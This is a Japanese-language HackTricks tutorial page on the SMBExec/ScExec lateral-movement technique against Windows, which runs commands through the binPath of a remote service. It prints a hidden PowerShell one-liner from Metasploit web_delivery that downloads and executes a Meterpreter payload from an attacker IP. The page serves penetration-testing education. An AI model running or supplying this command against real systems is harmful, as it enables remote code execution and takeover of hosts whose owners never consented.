hacktricks/windows-hardening/ntlm/smbexec.md
2023-07-07 23:42:27 +00:00

7.1 KiB
Raw Blame History

SmbExec/ScExec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

動作原理

SmbexecはPsexecのように動作します。 この例では、被害者の内部に悪意のある実行可能ファイルを指定する代わりに、cmd.exeまたはpowershell.exeを指定し、そのいずれかがバックドアをダウンロードして実行します。

SMBExec

攻撃者とターゲットの側から見たときに、smbexecが実行されると何が起こるかを見てみましょう

したがって、私たちは「BTOBTO」というサービスが作成されることを知っています。しかし、sc queryを実行したときにそのサービスはターゲットマシンに存在しません。システムログには何が起こったかの手がかりがあります:

サービスファイル名には、実行するコマンド文字列が含まれています(%COMSPEC%はcmd.exeの絶対パスを指します。コマンドをバッチファイルにエコーし、stdoutとstderrを一時ファイルにリダイレクトし、バッチファイルを実行して削除します。Kaliに戻ると、PythonスクリプトがSMB経由で出力ファイルを取得し、内容を「疑似シェル」に表示します。私たちの「シェル」に入力するたびに、新しいサービスが作成され、プロセスが繰り返されます。これは、バイナリをドロップする必要がないため、各所望のコマンドを新しいサービスとして実行するだけです。確かによりステルス性が高いですが、実行されたコマンドごとにイベントログが作成されることに注意してください。非対話型の「シェル」を取得する非常に賢い方法です

手動SMBExec

またはサービスを介してコマンドを実行する

smbexecが示したように、バイナリが必要なく、サービスのbinPathから直接コマンドを実行することができます。これは、ターゲットのWindowsマシンで単に任意のコマンドを実行する必要がある場合に便利なトリックです。簡単な例として、バイナリのないリモートサービスを使用してMeterpreterシェルを取得しましょう。

Metasploitのweb_deliveryモジュールを使用し、逆向きのMeterpreterペイロードを持つPowerShellターゲットを選択します。リスナーが設定され、ターゲットマシンで実行するコマンドが表示されます

powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');

Windowsの攻撃ボックスから、リモートサービス"metpsh"を作成し、binPathを使用してペイロードを実行するためにcmd.exeを設定します。

そして、それを起動します。

サービスが応答しないためエラーが発生しますが、Metasploitのリスナーを確認すると、コールバックが行われ、ペイロードが実行されたことがわかります。

すべての情報はここから抽出されました:https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥